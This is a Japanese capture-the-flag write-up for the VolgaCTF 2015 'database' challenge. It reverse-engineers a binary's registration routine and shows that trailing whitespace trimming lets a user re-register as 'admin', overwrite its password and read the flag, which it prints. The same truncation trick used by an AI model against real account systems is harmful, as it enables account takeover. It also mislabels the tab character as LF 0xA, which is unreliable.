手探り
### databaseに接続してみる $ nc database.2015.volgactf.ru 7777 >> help Unknown command or incorrect number of parameteres. >> pwd Unknown command or incorrect number of parameteres. ### ダウンロードしたヒントファイルを調べてみる $ file database database: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
Linux 64bit形式だと言う事が分かる。
### 中身を見てみる $ more database "database" may be a binary file. See it anyway?
バイナリか・・・
### とりあえず表示出来る文字列だけ表示してみる $ strings database # 怪しいコマンドはこんなところか。 admin get_flag whoami login register get_info set_info get_flag_prohibited get_flag ### 怪しいところをdatabaseに打ち込んでみる >> admin Unknown command or incorrect number of parameteres. >> get_flag This command is prohibited to non-admin users >> whoami Unknown command or incorrect number of parameteres. >> login Unknown command or incorrect number of parameteres. >> register Unknown command or incorrect number of parameteres. >> get_info admin : {it_is_not_the_flag!} >> set_info Unknown command or incorrect number of parameteres. >> get_flag_prohibited Unknown command or incorrect number of parameteres. >> get_flag This command is prohibited to non-admin users.
adminになれば色々コマンドが打てる事が分かった。
どうすればadminになれるか。
adminを登録すれば良いのか。
逆アセンブラ
$ sudo objdump -d database 0000000000401436 <register_user>: 401436: 55 push %rbp 401437: 48 89 e5 mov %rsp,%rbp 40143a: 48 83 ec 30 sub $0x30,%rsp 40143e: 89 7d ec mov %edi,-0x14(%rbp) 401441: 48 89 75 e0 mov %rsi,-0x20(%rbp) 401445: 48 89 55 d8 mov %rdx,-0x28(%rbp) 401449: 48 89 4d d0 mov %rcx,-0x30(%rbp) 40144d: 48 83 7d d8 00 cmpq $0x0,-0x28(%rbp) 401452: 74 07 je 40145b <register_user+0x25> 401454: 48 83 7d d0 00 cmpq $0x0,-0x30(%rbp) 401459: 75 2a jne 401485 <register_user+0x4f> 40145b: 48 8b 05 2e 1d 20 00 mov 0x201d2e(%rip),%rax # 603190 <no_data> 401462: 48 89 c7 mov %rax,%rdi 401465: e8 d6 f9 ff ff callq 400e40 <strlen@plt> 40146a: 48 89 c2 mov %rax,%rdx 40146d: 48 8b 35 1c 1d 20 00 mov 0x201d1c(%rip),%rsi # 603190 <no_data> 401474: 8b 45 ec mov -0x14(%rbp),%eax 401477: b9 00 00 00 00 mov $0x0,%ecx 40147c: 89 c7 mov %eax,%edi 40147e: e8 ed f9 ff ff callq 400e70 <send@plt> 401483: eb 6a jmp 4014ef <register_user+0xb9> 401485: 48 8b 05 2c 1d 20 00 mov 0x201d2c(%rip),%rax # 6031b8 <users> 40148c: 48 8b 55 d8 mov -0x28(%rbp),%rdx 401490: 48 89 d6 mov %rdx,%rsi 401493: 48 89 c7 mov %rax,%rdi 401496: e8 95 f9 ff ff callq 400e30 <g_hash_table_lookup@plt> 40149b: 48 89 45 f8 mov %rax,-0x8(%rbp) 40149f: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) 4014a4: 74 2a je 4014d0 <register_user+0x9a> 4014a6: 48 8b 05 cb 1c 20 00 mov 0x201ccb(%rip),%rax # 603178 <user_exists> 4014ad: 48 89 c7 mov %rax,%rdi 4014b0: e8 8b f9 ff ff callq 400e40 <strlen@plt> 4014b5: 48 89 c2 mov %rax,%rdx 4014b8: 48 8b 35 b9 1c 20 00 mov 0x201cb9(%rip),%rsi # 603178 <user_exists> 4014bf: 8b 45 ec mov -0x14(%rbp),%eax 4014c2: b9 00 00 00 00 mov $0x0,%ecx 4014c7: 89 c7 mov %eax,%edi 4014c9: e8 a2 f9 ff ff callq 400e70 <send@plt> 4014ce: eb 1f jmp 4014ef <register_user+0xb9> 4014d0: 48 8b 4d d0 mov -0x30(%rbp),%rcx 4014d4: 48 8b 45 d8 mov -0x28(%rbp),%rax 4014d8: ba 00 00 00 00 mov $0x0,%edx 4014dd: 48 89 ce mov %rcx,%rsi 4014e0: 48 89 c7 mov %rax,%rdi 4014e3: e8 8c fc ff ff callq 401174 <insert_new_user> 4014e8: 48 8b 55 e0 mov -0x20(%rbp),%rdx 4014ec: 48 89 02 mov %rax,(%rdx) 4014ef: c9 leaveq 4014f0: c3 retq
eとかrとかめちゃくちゃになってるのは仕方なし。
rdi = 0x14(20)
rsi = 0x20(32)
rdx = 0x28(40)
rcx = 0x30(48)
$0x0,-0x28(rdx = 0x0(null))の場合、もしくは$0x0,-0x30(rcx = 0x0(null))の場合、
strlen関数持って来て、rdi = 0x14(20)の文字列の長さをno_dataポインタに格納 + raxに返り値を入れる。
って一個ずつやってもいいんですが、IDAproやhopper使うと見易くなります。
Hopperで解析
registerコマンドしっかりありました。
/* 先ほどのregister_user functionを逆アセンブラ */ function register_user { var_28 = rdi; var_16 = rsi; var_8 = rdx; var_0 = rcx; if ((var_8 == 0x0) || (var_0 == 0x0)) { rax = strlen(*no_data); rax = send(var_28, *no_data, rax, 0x0); } else { rax = g_hash_table_lookup(*users, var_8, var_8); var_40 = rax; if (var_40 != 0x0) { rax = strlen(*user_exists); rax = send(var_28, *user_exists, rax, 0x0); } else { rax = insert_new_user(var_8, var_0, 0x0, var_0); *var_16 = rax; } } return rax; }
さっきより見やすい。
全体の流れはこんな感じ。
①var_28, 16, 8, 0を各レジスタに格納。 ②もし、var_8か、var_0がnull(0x0)の場合、 ・文字列の長さ(整数)をno_dataポインタに格納。(raxレジスタに返り値を入れる) ・var_28(ソケットディスクリプタ)を使って、no_dataポインタに格納された文字列の長さの値を送る。 ③それ以外の場合、 ・var_8(引数1。ユーザ名)var_8(引数2。パスワード)をusersポインタに格納 ③-1 もし、var_40がnull(0x0)じゃ無い場合、 ・文字列の長さ(整数)をuser_exitsポインタに格納。 ・var_28(ソケットディスクリプタ)を使って、user_exitsポインタに格納された文字列の長さの値を送る。 ③-2 それ以外は、 ・insert_new_user functionより、新しいユーザを作る
つまり、入力ユーザが指定されてない場合と、入力ユーザが指定されてる場合は、①入力ユーザが既に存在しない場合②入力ユーザが存在してない場合
に分かれる。
/* insert_new_user function */ function insert_new_user { var_24 = rdi; var_16 = rsi; var_8 = rdx; rax = calloc(0x40, 0x1); var_32 = rax; rax = rtrim(var_24); strncpy(var_32, rax, 0x40); *(int8_t *)(var_32 + 0x40) = 0x0; rax = calloc(0x80, 0x1); var_40 = rax; rax = rtrim(var_16); strncpy(var_40, rax, 0x40); *(int8_t *)(var_40 + 0x40) = 0x0; if (var_8 != 0x0) { rax = rtrim(var_8); strncpy(var_40 + 0x40, rax, 0x40); *(int8_t *)(var_40 + 0x80) = 0x0; } rax = g_hash_table_insert(*users, var_32, var_40, var_32); return var_32; }
うーむ。idapro欲しい。
もし入力ユーザが存在してる場合は、rtrimを使って削除して、strncpy(文字列をn文字コピー) で上書きする動きなのは分かる。
/* rtrim */ function rtrim { var_8 = rdi; rax = strlen(var_8); var_24 = var_8 + rax + 0xffffffffffffffff; loc_401164: if (var_24 >= var_8) goto loc_401126; goto loc_40116e; loc_401126: if (((*(int8_t *)var_24 & 0xff) != 0xd) && ((*(int8_t *)var_24 & 0xff) != 0xa)) goto loc_40113c; goto loc_401158; loc_40113c: if (((*(int8_t *)var_24 & 0xff) != 0x20) && ((*(int8_t *)var_24 & 0xff) != 0x9)) goto loc_401152; goto loc_401158; loc_401152: rax = var_8; loc_401172: return rax; loc_401158: *(int8_t *)var_24 = 0x0; var_24 = var_24 - 0x1; goto loc_401164; loc_40116e: rax = var_8; goto loc_401172; }
loc_401126:で0xdと0xa(改行コード)を無視している
loc_40113c:で0x20と0x9(スペースとタブ)を無視している
http://ratan.dyndns.info/MicrosoftVisualC++/eskape.html
ということは、第一引数のユーザ名で、
adminの後に改行コード(inuxだとctrl+v, ctrl+mで出来る^M。CR。)か、tabコード(LF。0xA。普通にタブを押せば入る)を入れれば、新しいユーザとして認識され、パスワードを上書きしてしまう脆弱性っぽい
ちなみにスペースだと引数が増えるだけなのでだめ。
実際にやってみる
$ nc database.2015.volgactf.ru 7777 >> whoami You are not even logged in! >> register admin a >> whoami You are admin. >> get_flag flag: {does_it_look_like_column_tr@ncation}
答え
{does_it_look_like_column_tr@ncation}